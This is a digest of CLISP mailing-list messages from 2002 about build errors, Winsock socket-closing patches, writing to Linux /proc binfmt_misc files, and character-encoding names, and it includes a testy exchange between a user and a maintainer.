> I will send you my real address (sorry spammers, not for you).

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I'm a big fan of Clisp, but can't get it to build on
my Compaq XP1000 running FreeBSD 4.6.

I've tried both the default cc (gcc 2.95.x) and Compaq
C with no success.  With both compiles, the configure
works clean, but the make stops in:

gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit
-Wreturn-type -fomit-frame-pointer -Wno-sign-compare
-O -DUNICODE -DDYNAMIC_FFI -c spvw.c
In file included from spvw.d:22:
lispbibl.d:2607: #error "oint_addr_mask doesn't cover
CODE_ADDRESS_RANGE !!"
lispbibl.d:2610: #error "oint_addr_mask doesn't cover
MALLOC_ADDRESS_RANGE !!"
*** Error code 1

Using ccc, it stops in the same file with a long list
of error messages concerning typedefs.

Best regards,

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> * In message <20020509185257.42532.qmail@web14502.mail.yahoo.com>
> * On the subject of "[clisp-list] Failure to build Clisp 2.28 on FreeBSD/Alpha"
> * Sent on Thu, 9 May 2002 11:52:57 -0700 (PDT)
> * Honorable Jeffrey Katcher <jmkatcher@yahoo.com> writes:
>
> I've tried both the default cc (gcc 2.95.x) and Compaq
> C with no success.  With both compiles, the configure
> works clean, but the make stops in:
> 
> gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit
> -Wreturn-type -fomit-frame-pointer -Wno-sign-compare
> -O -DUNICODE -DDYNAMIC_FFI -c spvw.c
> In file included from spvw.d:22:
> lispbibl.d:2607: #error "oint_addr_mask doesn't cover
> CODE_ADDRESS_RANGE !!"
> lispbibl.d:2610: #error "oint_addr_mask doesn't cover
> MALLOC_ADDRESS_RANGE !!"
> *** Error code 1

look around src/lispbibl.d:633 and figure out why WIDE_HARD is not
getting defined.

use "gcc -E -dM src/lispbibl.d" to get at CODE_ADDRESS_RANGE,
addr_shift, oint_addr_mask, oint_addr_shift, MALLOC_ADDRESS_RANGE.

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Hi,

Does anyone knows how can I meassure the size of an object
in CLISP (2001)?? For example:

(setf a '(a b c))

(function-size a) =3D> 3 bytes

Thank You,

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> * In message <000e01c1f873$f1e48f60$e7b7a8cc@cs.nyu.edu>
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> Does anyone knows how can I meassure the size of an object in CLISP

what do you need this for?

you might find <http://clisp.cons.org/impnotes.html#space>
relevant.

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I put my current work of the gdi module on my web site
www.diac.com/~dxs/gdi.tar.gz
Changes include error checking.  Functions known to be not working
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Hi,

MS-windoes woes below...

Does anybody know how to tell MS-Windows sockets to gracefully send all the TCP data in the pipe down the road without causing an abort on the other side?

Sam Steingold wrote:
> Gesendet: Dienstag, 16. April 2002 15:58
> missed this.  please try the patch:

> +++ stream.d	Tue Apr 16 09:56:35 2002
> @@ -14119,6 +14115,9 @@
>  #if defined(UNIX_BEOS) || defined(WIN32_NATIVE)
>  local void low_close_socket (object stream, object handle) {
>    begin_system_call();
> + #ifdef WIN32_NATIVE
> +  if (shutdown(TheSocket(handle),SHUT_RDWR)) { SOCK_error(); }
> + #endif
>    if (!( closesocket(TheSocket(handle)) ==0)) { SOCK_error(); }
>    end_system_call();
>  }

I finally went to the Microloft Developer Network and found:
Graceful Shutdown, Linger Options, and Socket Closure
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winsock/ovrvw3_3she.asp
From there, one can navigate to shutdown, closesocket, setsockopt, getsockopt and linger.

It appears from my tiny experiments that:
shutdown(SD_BOTH) is no help
shutdown(SD_SEND) slightly helps: i.e. a local web browser doesn't get an error anymore, but a remote connection only gets part of the output :-( :-(
I.e. part of the HTML trailer and document data is missing, but no error is signaled(!?).

Depending on sys::*inspect-debug* level, the remote side may even see 0 bytes (lower level => less bytes).
The higher the machine load (second clisp executing (LOOP)), the more complete the response.
The result of a remote's Python's urllib.urlopen("http://mymachine.telekom.de:2129/0/:s").read()
can vary between ''(empty) to the full HTML output.
Curiously, Mosaic-2.7b5 output is always truncated towards the end.


To me it seems that doing recv() until EOF before closing is not acceptable (what MS recommends from what I understand). If I say to close, close. Don't read infinite incoming data from port chargen=19 !

Regards,
	Jorg Hohle.



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> > @@ -14119,6 +14115,9 @@
> >  #if defined(UNIX_BEOS) || defined(WIN32_NATIVE)
> >  local void low_close_socket (object stream, object handle) {
> >    begin_system_call();
> > + #ifdef WIN32_NATIVE
> > +  if (shutdown(TheSocket(handle),SHUT_RDWR)) { SOCK_error(); }
> > + #endif
> >    if (!( closesocket(TheSocket(handle)) ==0)) { SOCK_error(); }
> >    end_system_call();
> >  }
> 
> I finally went to the Microloft Developer Network and found:
> Graceful Shutdown, Linger Options, and Socket Closure
> http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winsock/ovrvw3_3she.asp
> >From there, one can navigate to shutdown, closesocket, setsockopt, getsockopt and linger.
> 
> It appears from my tiny experiments that:
> shutdown(SD_BOTH) is no help
> shutdown(SD_SEND) slightly helps: i.e. a local web browser doesn't get
> an error anymore, but a remote connection only gets part of the output
> :-( :-(
this is weird since the spec appears to say that SD_BOTH ==> SD_SEND
(as is the case on UNIX)

another thing is that the page you mention suggest Ws2_32.lib while we
are using wsock32.lib.
could you please check whether this matters?


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Hi
On Mon, Mar 18, 2002 at 11:16:39PM +0100, I wrote:
> Hi
> 
> I didn't know Clisp took a :buffered nil keyword for open.  It seems
> this is the way to write to peculiar files like some of the ones under
> /proc.  It fixes the problem I described in the last post.
> 
> Regards,
> Peter
> 

But now it's broken again, on:

Linux localhost.localdomain 2.4.18 #1 Sun May 5 00:18:26 CEST 2002
i686 unknown

with:

GNU CLISP 2.28 (released 2002-03-03) (built 3224594596) (memory
3224596933)

Features: 
(clos loop compiler clisp ansi-cl common-lisp lisp=cl interpreter sockets
 generic-streams logical-pathnames screen ffi gettext unicode
 base-char=character pc386 unix)

Using Clisp's 'open' or 'with-open-file' to write to
/proc/sys/fs/binfmt_misc/register results in

unix error 22 EINVAL

while using linux:fopen works fine, as do Bash, Python, Perl and
CMUCL.

The fact that everything else works ok, while Clisp doesn't suggests
once again that there is something wrong with the way Clisp's #'open
works.

Regards,
Peter

BTW binfmt_misc is no longer mounted automatically, but needs a manual
mount (eg an entry in fstab)


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> * In message <20020515191841.A233@localhost.localdomain>
> * On the subject of "Re: [clisp-list] with-open-file bug on linux"
> * Sent on Wed, 15 May 2002 19:18:41 +0200
> * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
>
> > I didn't know Clisp took a :buffered nil keyword for open.  It seems
> > this is the way to write to peculiar files like some of the ones under
> > /proc.  It fixes the problem I described in the last post.
> 
> Using Clisp's 'open' or 'with-open-file' to write to
> /proc/sys/fs/binfmt_misc/register results in
> 
> unix error 22 EINVAL
> 
> while using linux:fopen works fine

not for me:

[1]>  (setq s (linux:fopen "/proc/sys/fs/binfmt_misc/register" "w"))
#<FOREIGN-ADDRESS #x081C08C0>
[3]> (linux:fputs "foo" s)
1
[4]> (linux:perror "bar")
bar: Invalid argument

could you please build CLISP --with-debug and figure out why the
write() call in full_write() in unixaux.d:309 fails?

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Hi
On Wed, May 15, 2002 at 02:14:01PM -0400, Sam Steingold wrote:
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> >
> > > I didn't know Clisp took a :buffered nil keyword for open.  It seems
> > > this is the way to write to peculiar files like some of the ones under
> > > /proc.  It fixes the problem I described in the last post.
> > 
> > Using Clisp's 'open' or 'with-open-file' to write to
> > /proc/sys/fs/binfmt_misc/register results in
> > 
> > unix error 22 EINVAL
> > 
> > while using linux:fopen works fine
> 
> not for me:

It will work for you, if you try to write something reasonable.  "foo"
is not reasonable.  The kernel is expecting a string formatted in a
specific way, not "foo".

> > [1]> (setq s (linux:fopen "/proc/sys/fs/binfmt_misc/register" "w")) 
> #<FOREIGN-ADDRESS #x081C08C0
> > [3]> (linux:fputs "foo" s) 
> 1

Try this:

; no error checking
(defun register-extension (ext interpreter)
  "EXT & INTERPRETER = lower case strings"
  (let* ((path "/proc/sys/fs/binfmt_misc/register")
	 (fp (linux:fopen path "w"))
	 (str (format nil ":~:@(~a~):E::~a::~a:" ext ext interpreter)))
    (linux:fputs str fp)
    (linux:fclose fp)))

;eg (register-extension "fas" "/usr/bin/clisp") registers the .fas extension as executable
;   by /usr/bin/clisp with the kernel.
;   you still have to 'chmod +x' your fas files you want to be
executable.

It _does_ work, and 'open' or 'with-open-file' do not.

I will have a look at full_write in unixaux.d

Regards,
Peter


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Hi,
On Thu, May 16, 2002 at 03:53:03PM +0200, I wrote:

<cut>

> 
> I will have a look at full_write in unixaux.d
> 

Well, maybe I won't ... this is quite strange:

A _combination_ of :buffered nil and setting *print-escape* to nil
appears to work, at least in some cases.  This wasn't necessary
earlier.

;;this works

[56]> (setf register (open "/proc/sys/fs/binfmt_misc/register" :direction :output :buffered nil))
#<output unbuffered file-stream character #P"/proc/sys/fs/binfmt_misc/register"
  @1>
[57]> (setf string (format nil ":~:@(~a~):E::~a::~a:" "fas" "fas" "/usr/bin/clisp"))
":FAS:E::fas::/usr/bin/clisp:"
[58]> (write string :escape nil :stream register)
":FAS:E::fas::/usr/bin/clisp:"
[59]>

;; so does this work  (princ sets *print-escape* and -readably* to nil)

[69]> (princ string register)
":FAS:E::fas::/usr/bin/clisp:"
[70]>

;; so does this!

[77]> (format register "~a" string)
nil

;; these do not

[82]> (format register "~s" string)

*** - UNIX error 22 (EINVAL): Invalid argument
[84]> (prin1 string register)

*** - UNIX error 22 (EINVAL): Invalid argument
1. Break [85]> 
[86]> (write string :stream register)

*** - UNIX error 22 (EINVAL): Invalid argument

Regards,
Peter


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Hi,

>another thing is that the page you mention suggest Ws2_32.lib while we
>are using wsock32.lib.
>could you please check whether this matters?
Thanks to the attentive reader!
However it doesn't change anything in the observed behaviour.

2. MSDN doesn't seem to document wsock32's closesocket, only the new one is mentioned.
I mean I could find any documentation whether this matters.

3. from the winsock2 architecture picture I figured out that ws3_32 is the correct thing to use, since clisp includes winsock2.h. But nothing changed.
Why does CLISP compiled and link with wsock32.lib? Mistery. Maybe winsock2.h is not really needed, but who cares?

My suspicion is that the timeout until FD_CLOSE is sent internally by the TCP/IP stack is extremely small ("implementation dependent"), thus it's sent only slightly after closesocket() is invoked, and the remote client gets it too early???

Should we add setsockopt(linger,1 minute)? 10 minutes?
Then, passing the :ABORT argument of CLOSE to low_socket_close would begin to make sense.

BTW, I observe the same behaviour on MS-Woes98.


BTW, you have that dysfunctional experimental #+keep-alive-line hack in inspector.lisp left in CVS r1.15. Please remove.


>> shutdown(SD_BOTH) is no help
>> shutdown(SD_SEND) slightly helps: i.e. a local web browser doesn't get
>> an error anymore, but a remote connection only gets part of the output
>this is weird since the spec appears to say that SD_BOTH ==> SD_SEND

My *supposition* (i.e. attempt at logical explanation) is that the open input channel is also sent a shutdown signal, which is received much faster by the client than the remaining output data. So the client translates as "connection reset by peer" or some such.
WINSOCK Error 10054 Connection reset by peer
The error about reset connection also appears when I shutdown(SD_RECEIVE) before shutdown(SD_SEND).


What makes me wonder is this text:
"If SO_LINGER is set with a nonzero time-out interval on a blocking socket, the closesocket call blocks on a blocking socket until the remaining data has been sent or until the time-out expires. This is called a graceful disconnect. If the time-out expires before all data has been sent, the Windows Sockets implementation terminates the connection before closesocket returns."
I read it as: after timeout, the connection is reset *not* gracefully.


I believe it's time to peek at what other SW does (e.g. python, some Scheme, whatever one has)...

	Jorg Hohle


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> * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
>
> On Thu, May 16, 2002 at 03:53:03PM +0200, I wrote:
> 
> > I will have a look at full_write in unixaux.d

please do, if the problem persists, but first make sure that the data
you are writing is actually what you really want to write!

> A _combination_ of :buffered nil and setting *print-escape* to nil
> appears to work, at least in some cases.  This wasn't necessary
> earlier.

I think the problem is with your settings.
*print-escape* influences "" around strings, and if "write" depends on
the correct format, this may have a decisive effect!

> ;;this works
> 
> [56]> (setf register (open "/proc/sys/fs/binfmt_misc/register" :direction :output :buffered nil))
> #<output unbuffered file-stream character #P"/proc/sys/fs/binfmt_misc/register"
>   @1>
> [57]> (setf string (format nil ":~:@(~a~):E::~a::~a:" "fas" "fas" "/usr/bin/clisp"))
> ":FAS:E::fas::/usr/bin/clisp:"
> [58]> (write string :escape nil :stream register)
> ":FAS:E::fas::/usr/bin/clisp:"
> [59]>
> 
> ;; so does this work  (princ sets *print-escape* and -readably* to nil)
> 
> [69]> (princ string register)
> ":FAS:E::fas::/usr/bin/clisp:"
> [70]>
> 
> ;; so does this!
> 
> [77]> (format register "~a" string)
> nil

all these write string simply byte by byte.

> ;; these do not
> 
> [82]> (format register "~s" string)

of course: this writes to register ""..."" (i.e., it sends #\" to the stream)!

> *** - UNIX error 22 (EINVAL): Invalid argument
> [84]> (prin1 string register)
same.

> *** - UNIX error 22 (EINVAL): Invalid argument
> 1. Break [85]> 
> [86]> (write string :stream register)
> 
> *** - UNIX error 22 (EINVAL): Invalid argument

same.

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> * In message <DFD875E85664D3118FA6080006277DE70582326A@U8PN2.blf01.telekom.de>
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> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
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> My *supposition* (i.e. attempt at logical explanation) is that the

don't look for logic where you did not put it yourself!

> open input channel is also sent a shutdown signal, which is received
> much faster by the client than the remaining output data. So the
> client translates as "connection reset by peer" or some such.  WINSOCK
> Error 10054 Connection reset by peer The error about reset connection
> also appears when I shutdown(SD_RECEIVE) before shutdown(SD_SEND).

please try the appended patch.

> I believe it's time to peek at what other SW does (e.g. python, some
> Scheme, whatever one has)...

can you do it?

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--- stream.d.~1.272.~	Tue May  7 12:24:34 2002
+++ stream.d	Thu May 16 12:36:47 2002
@@ -14074,7 +14074,10 @@
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   begin_system_call();
  #ifdef WIN32_NATIVE
-  if (shutdown(TheSocket(handle),SHUT_RDWR)) { SOCK_error(); }
+  # this has to be done in this particular order and should not be
+  # replaced with a single SHUT_RDWR due to the Woe32 peculiarities
+  if (shutdown(TheSocket(handle),SD_SEND))    { SOCK_error(); }
+  if (shutdown(TheSocket(handle),SD_RECEIVE)) { SOCK_error(); }
  #endif
   if (!( closesocket(TheSocket(handle)) ==0)) { SOCK_error(); }
   end_system_call();



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> * In message <20020516171131.A268@localhost.localdomain>
> * On the subject of "Re: [clisp-list] with-open-file bug on linux"
> * Sent on Thu, 16 May 2002 17:11:31 +0200
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> > I will have a look at full_write in unixaux.d
> Well, maybe I won't ... this is quite strange:

please do stop in full_write and show me a string which chokes the
write() call there but which goes through cat/echo/cmucl/C &c.

this will be the proof of the pudding.

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> * In message <DFD875E85664D3118FA6080006277DE70582326A@U8PN2.blf01.telekom.de>
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> BTW, you have that dysfunctional experimental #+keep-alive-line hack
> in inspector.lisp left in CVS r1.15. Please remove.

you want CLISP to honor keep-alive or discard it?
what works better?

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Sam Steingold wrote:
>you want CLISP to honor keep-alive or discard it?
>what works better?

Please visit my newest bug report: inspector :http broken Content-Length http://sourceforge.net/tracker/index.php?func=detail&aid=557155&group_id=1355&atid=101355

Keep-alive could work in theory, but it currently doesn't because Content-Length is broken.

Thus, the immediate gap-stopping measure is to disable keep-alive. Remove the #+disable-keep-alive line.

Then, if Content-Length is made functional, keep-alive can be reestablished.

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Hi,

how could a HTTP-server writer possibly determine a correct value for =
the Charset option to the Content-Type HTTP header?
This is important for a CLISP built with Unicode.

E.g. the CLISP inspector currently has no means to provide any charset =
indication (think about asian or eastern european users).

One solution path IMHO, is that an EXT:ENCODING object doesn't have =
provide an API function that tells the name, although it's available =
internally. That could be a good start.

Are these names valid names to the HTTP/MIME Charset attribute?

I suggest:
(EXT:ENCODING-NAME enc) -> name (as symbol or as string)
; internal encodings: a symbol CHARSET:xyz
; GNU iconv encodings (where available): a string, as supplied to =
(ext:make-encoding) to create this iconv encoding.

Then, *possibly*, the header coule become
#+(and CLISP UNICODE)
(format socket "Content-Type: text/html; Charset=3D~A~%"
  (ext:encoding-name (stream-external-format socket)))

I'd appreciate comments on this issue, and on the solution.
Maybe some nickname mapping could be added, e.g. CP1252 -> =
WINDOWS-1252, because that's what MS-junk seems to output??

For interim experiments with my proposal, you can use:
(defun ext::encoding-name (encoding)
  (check-type encoding ext:encoding)
  (sys::%record-ref encoding 3))
until this gets coded as a C LISPFUN into CLISP -- if it makes sense.

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Hi,

>can you do it? [peek at other sources]
I have no time for now.
My belief is: the answer will come from some knowledge-holder, not from more trial&error. I don't want to program by trial&error.

I.e., who, on a single system, could have noticed that a straightforward SD_SEND patch works for client and server on a single machine (in most situations), but fails miserably (0 bytes transmitted!) on an unloaded machine, when accessed remotely?? I want a reliable solution.

So for now, the bug solving is put on hold until somebody comes up with another idea or solution path.


Sam Steingold wrote:
>please try the appended patch.
I already tried this and other combinations. No change.
  #ifdef WIN32_NATIVE
-  if (shutdown(TheSocket(handle),SHUT_RDWR)) { SOCK_error(); }
+  # this has to be done in this particular order and should not be
+  # replaced with a single SHUT_RDWR due to the Woe32 peculiarities
+  if (shutdown(TheSocket(handle),SD_SEND))    { SOCK_error(); }
+  if (shutdown(TheSocket(handle),SD_RECEIVE)) { SOCK_error(); }
  #endif
   if (!( closesocket(TheSocket(handle)) ==0)) { SOCK_error(); }

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Sam Steingold wrote:
>> Sadly, min_bytes_per_char still looks like the solution - if
>> the slots were correct for all encodings, which they are obviously
>> not for UTF-16 (must be 2;2, but is 1;8 nonsense for UTF-16).
>
>this cannot be done properly for iconv-based encodings since there is
>no way to query libiconv for this information.
>I think these are set correctly for built-in encodings.

Sadly, having incorrectly set slots not only hinders WITH-FOREIGN-STRING, but also breaks other parts of the system which rely on correct information.


Example of another bug:
> (setf custom:*foreign-encoding* (ext:make-encoding :charset "ISO-8859-1"))
*** - SYSTEM::SET-FOREIGN-ENCODING: #<ENCODING "ISO-8859-1" :UNIX> is not a 1:1 encoding

This error is complete nonsense, "ISO-8859-1" is a 1:1 encoding we all know, except that CLISP checks the misdefined min/max_bytes_per_char slots of this external encoding and errors.

Obviously, having correct min/max is the "better" solution.

Microsoftian advice: "don't do that. Use :charset charset:iso-8859-1. Impnotes says that built-in encodings are preferred".


BTW, Impnotes says: "When an encoding is available as a built-in and through iconv(), the built-in is preferred, because it is more efficient and available across platforms."

I find this confusing, "preferred" by who?
Does that mean that CLISP automatically switches to an built-in one? Does that mean that the programmer ought to use built-in using charset:name instead of "name"?
I'd suggest a wording like: "..., we recommend using the built-in one, because ..."


Regards,
	Jorg Hohle.


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On Wed, May 08, 2002 at 02:51:03PM +0100, Christophe Rhodes wrote:
> On Wed, May 08, 2002 at 09:45:27AM -0400, Sam Steingold wrote:
> > Bruno just fixed the bug what was the immediate cause of your crash.
> > Please do "cvs up; ./configure --with-debug --build build-dir"
> > and try again.
> 
> Thank you very much -- I shall give this a try (though probably not
> until the weekend) and let you know what happens next...

I've now done this... it still crashes in the same place, but now says:

*** - Lisp stack overflow. RESET

So I suspect I'm just going over some internal limit... is there a way
to rebuild with a larger stack? I assure you it's not unbounded
recursion :-)

Cheers,

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> * In message <20020517142555.GA5634@cam.ac.uk>
> * On the subject of "Re: [clisp-list] What causes hard exits from clisp?"
> * Sent on Fri, 17 May 2002 15:25:55 +0100
> * Honorable Christophe Rhodes <csr21@cam.ac.uk> writes:
>
> On Wed, May 08, 2002 at 02:51:03PM +0100, Christophe Rhodes wrote:
> > On Wed, May 08, 2002 at 09:45:27AM -0400, Sam Steingold wrote:
> > > Bruno just fixed the bug what was the immediate cause of your crash.
> > > Please do "cvs up; ./configure --with-debug --build build-dir"
> > > and try again.
> > 
> > Thank you very much -- I shall give this a try (though probably not
> > until the weekend) and let you know what happens next...
> 
> I've now done this... it still crashes in the same place, but now says:
> 
> *** - Lisp stack overflow. RESET
> 
> So I suspect I'm just going over some internal limit... is there a way
> to rebuild with a larger stack? I assure you it's not unbounded
> recursion :-)

1. the previous bug was isolated to a 3 line function.
   please isolate this new bug too.

2. did you _really_ build --with-debug?
   Please do.

3. are you sure that the stack overflow is the first error message?
   please check the output _very_ carefully.

thanks.

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> * In message <DFD875E85664D3118FA6080006277DE705823329@U8PN2.blf01.telekom.de>
> * On the subject of "Re: [clisp-list] help about [ clisp-Bugs-550603 ] UTF-16 min/max_ bytes_per_char mu st be 2"
> * Sent on Fri, 17 May 2002 16:04:34 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> Sam Steingold wrote:
> >> Sadly, min_bytes_per_char still looks like the solution - if
> >> the slots were correct for all encodings, which they are obviously
> >> not for UTF-16 (must be 2;2, but is 1;8 nonsense for UTF-16).
> >
> >this cannot be done properly for iconv-based encodings since there is
> >no way to query libiconv for this information.
> >I think these are set correctly for built-in encodings.
> 
> Sadly, having incorrectly set slots not only hinders
> WITH-FOREIGN-STRING, but also breaks other parts of the system which
> rely on correct information.
> 
> Example of another bug:
> > (setf custom:*foreign-encoding* (ext:make-encoding :charset "ISO-8859-1"))
> *** - SYSTEM::SET-FOREIGN-ENCODING: #<ENCODING "ISO-8859-1" :UNIX> is not a 1:1 encoding
> 
> This error is complete nonsense, "ISO-8859-1" is a 1:1 encoding we all
> know, except that CLISP checks the misdefined min/max_bytes_per_char
> slots of this external encoding and errors.
> 
> Obviously, having correct min/max is the "better" solution.

so how do we find out that some iconv encoding is 1:1?

> Microsoftian advice: "don't do that. Use :charset
> charset:iso-8859-1. Impnotes says that built-in encodings are
> preferred".
> 
> BTW, Impnotes says: "When an encoding is available as a built-in and
> through iconv(), the built-in is preferred, because it is more
> efficient and available across platforms."
> 
> I find this confusing, "preferred" by who?
> 
> Does that mean that CLISP automatically switches to an built-in one?

I suggest that we do exactly this.
it is not clear that this is TRT though: it is conceivable that someone
will want to use the iconv encoding, e.g., to check it against the
CLISP built-in.

> Does that mean that the programmer ought to use built-in using
> charset:name instead of "name"?

yes, this is what is meant now.

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On Thu, May 16, 2002 at 02:18:21PM -0700, Sam Steingold wrote:
> Update of /cvsroot/clisp/clisp/doc
> In directory usw-pr-cvs1:/tmp/cvs-serv14407/doc
> 
> Modified Files:
> 	impbody.xml 
> Log Message:
> (make_file_stream) [UNIX, RISCOS]: file streams for the /proc filesystem
> default to unbuffered (it's better not to mess with those files anyway!)
                        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Hi,

Unbuffered is _probably_ better for /proc files, but there is no
guarantee.  A better solution would be to find out _why_ Clisp is
having problems with some files in /proc when other systems running
under Linux are not. (Bash, Python, Perl, Ruby, CMUCL)

No - I won't go digging around with gdb.  I can solve my problem
faster (immediately) by just using one of the above mentioned tools.

I have been getting some really bizarre results with Clisp and /proc,
and frankly, its enough to make me doubt Clisp's suitability as a
sysadmin tool on Linux.

Writing to files under /proc does not qualify as 'messing with them'
(unless you think "foo" is suitable for testing)

Regards,
Peter


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> * In message <20020517224124.A173@localhost.localdomain>
> * On the subject of "[clisp-list] what's proc for then?"
> * Sent on Fri, 17 May 2002 22:41:24 +0200
> * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
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> On Thu, May 16, 2002 at 02:18:21PM -0700, Sam Steingold wrote:
> > Update of /cvsroot/clisp/clisp/doc
> > In directory usw-pr-cvs1:/tmp/cvs-serv14407/doc
> > 
> > Modified Files:
> > 	impbody.xml 
> > Log Message:
> > (make_file_stream) [UNIX, RISCOS]: file streams for the /proc filesystem
> > default to unbuffered (it's better not to mess with those files anyway!)

I consider it rude that you send a follow-up to a message in
<clisp-devel> to <clisp-list>.
Please follow-up to the same mailing list.

> A better solution would be to find out _why_ Clisp is having problems
> with some files in /proc when other systems running under Linux are
> not. (Bash, Python, Perl, Ruby, CMUCL)
> No - I won't go digging around with gdb.

if you are not willing to help, why do you expect me to spend my time
here?  do others think that this attitude is reasonable?

> Writing to files under /proc does not qualify as 'messing with them'
> (unless you think "foo" is suitable for testing)

I would have understood your frustration better if you actually _did_
something.

If you do not understand log messages, you better ask what they mean.
[okay, your outburst qualifies as a question just once: here by
"messing" I meant doing fancy stuff with them, like buffering].

regarding your previous reports, note that (FORMAT FOO "..." ...) is not
the same as (WRITE-STRING (FORMAT NIL "..." ...) FOO) wrt atomicity of
write.

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> Now I read about another compile-method in the "gambit" docs and the
> compiler is Watcom C/C++.

Forget it. Don't waste your time on it. Watcom C is *crap*. There are
many compilers that are not as good as GCC. But none is as crappy as
Watcom C.

Bruno


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Hello Joerg-Cyril,

Friday, May 17, 2002, 2:00:45 AM, you wrote:


Joerg-Cyril> My  suspicion  is that the timeout until FD_CLOSE is sent
Joerg-Cyril> internally   by  the  TCP/IP  stack  is  extremely  small
Joerg-Cyril> ("implementation   dependent"),   thus   it's  sent  only
Joerg-Cyril> slightly  after  closesocket() is invoked, and the remote
Joerg-Cyril> client gets it too early???

Joerg-Cyril> Should  we  add  setsockopt(linger,1 minute)? 10 minutes?
Joerg-Cyril> Then,   passing   the   :ABORT   argument   of  CLOSE  to
Joerg-Cyril> low_socket_close would begin to make sense.

Hold on, jedi knights are on the way (I'm reading my winsock book) !
I already found that call to WSACleanup() not exists in sources.
It's already something.

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Hi,

On Fri, May 17, 2002 at 05:04:32PM -0400, Sam Steingold wrote:
> > * In message <20020517224124.A173@localhost.localdomain>
> > * On the subject of "[clisp-list] what's proc for then?"
> > * Sent on Fri, 17 May 2002 22:41:24 +0200
> > * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
> >
> > On Thu, May 16, 2002 at 02:18:21PM -0700, Sam Steingold wrote:
> > > Update of /cvsroot/clisp/clisp/doc
> > > In directory usw-pr-cvs1:/tmp/cvs-serv14407/doc
> > > 
> > > Modified Files:
> > > 	impbody.xml 
> > > Log Message:
> > > (make_file_stream) [UNIX, RISCOS]: file streams for the /proc filesystem
> > > default to unbuffered (it's better not to mess with those files anyway!)
> 
> I consider it rude that you send a follow-up to a message in
> <clisp-devel> to <clisp-list>.
> Please follow-up to the same mailing list.
>

I have previously asked you not to cc mail to me as I get whatever is
sent to the list, and find it annoying getting duplicates.  You chose
to ignore that request.  I find that rude.  I sent the mail in
question to clisp-list because it relates to the recent thread (in
clisp-list) regarding the buggy i/o under /proc.  I find that
perfectly reasonable.  I also changed the subject of the message so
that it would be obvious that it was not simply a follow-up to a post
on clisp-devel.

Making unbuffered the default under /proc is not neccesarily going to
help this problem.  Do you think it's a good idea to make changes
without knowing the cause of the problem?  Do you think it's a good
idea to make changes to buggy functionality without first
understanding what is going wrong?
 
> > A better solution would be to find out _why_ Clisp is having problems
> > with some files in /proc when other systems running under Linux are
> > not. (Bash, Python, Perl, Ruby, CMUCL)
> > No - I won't go digging around with gdb.
> 
> if you are not willing to help, why do you expect me to spend my time
> here?  do others think that this attitude is reasonable?

I am not willing to help in this specific case.  Last time this bug
came up I wasted many hours on it with gdb.  I feel that file i/o is
such a basic area that you can't expect users to do this for you.  If
this issue is not important to you, fine.  I also have to justify the
time I spend on Clisp, and many hours on a debugger (again) is losing
out to 'it just works' with half a dozen other programming
languages/systems.

> 
> > Writing to files under /proc does not qualify as 'messing with them'
> > (unless you think "foo" is suitable for testing)
> 
> I would have understood your frustration better if you actually _did_
> something.

Why do you think I'm frustrated?  I am a bit shocked by the basic bugs
which keep turning up every time I try to use Clisp other than
trivially.

> 
> If you do not understand log messages, you better ask what they mean.
> [okay, your outburst qualifies as a question just once: here by
> "messing" I meant doing fancy stuff with them, like buffering].
> 
> regarding your previous reports, note that (FORMAT FOO "..." ...) is not
> the same as (WRITE-STRING (FORMAT NIL "..." ...) FOO) wrt atomicity of
> write.
> 

I did not say it was.  I was deliberately experimenting with
_different_ functionality in an attempt to get some idea of the shape
of the problem.

Please just forget my reports on this bug.  I won't be bothering you
with any more.

Regards,
Peter


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> * In message <20020518112159.A223@localhost.localdomain>
> * On the subject of "Re: [clisp-list] what's proc for then?"
> * Sent on Sat, 18 May 2002 11:21:59 +0200
> * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
>
> I have previously asked you not to cc mail to me as I get whatever is
> sent to the list, and find it annoying getting duplicates.  You chose
> to ignore that request.  I find that rude.

I cannot keep track of everyone's preferences.
if this were important to you, you would have set the header
Mail-Copies-To: never

> Making unbuffered the default under /proc is not neccesarily going to
> help this problem.  Do you think it's a good idea to make changes
> without knowing the cause of the problem?  Do you think it's a good
> idea to make changes to buggy functionality without first
> understanding what is going wrong?

I do not feel obligated to justify my decisions to you on this list.
If you were asking serious questions you would have been asking them on
the right mailing list.


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I've also had trouble using clisp with /proc files, but I figured
that was cause of non-standard properties in the implementation of
the particular proc files.  Since there's not much that can be
guaranteed about proc files it's hard to see how a single interface 
can be expected to work on all of them.

  Unbuffered is _probably_ better for /proc files, but there is no
  guarantee.

As I recall, when I tried unbuffered with my particular proc files
things broke even worse.

  I have been getting some really bizarre results with Clisp and /proc,
  and frankly, its enough to make me doubt Clisp's suitability as a
  sysadmin tool on Linux.

Since the IO I needed could be done with cat > and echo > I just
have clisp use a shell to do those things.
I consider this to be an acceptable solution, though not ideal.
It's still worth while to use clisp to do everything else that has
to figure out what IO to do by these other means.
I have no idea whether my proc files would work with Python, Perl,
etc.  


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Hello,

I tried to compile clisp 2.28 (not current cvs) both on cygwin and redhat 
7.1. In both cases building interpreted.mem fails with a segfault.

Any ideas?

Karsten



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hi, the installation in the README file (which i've attached)
are confusing, and do not seem to work as advertised.

here is what happens when i try to obey the instructions.
am i doing something wrong?

[jimka@localhost src]# base/lisp.run -M base/lispinit.mem
  i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
  I I I I I I I      8     8   8           8     8     o  8    8
  I  \ `+' /  I      8         8           8     8        8    8
   \  `-+-'  /       8         8           8      ooooo   8oooo
    `-__|__-'        8         8           8           8  8
        |            8     o   8           8     o     8  8
  ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999-2002


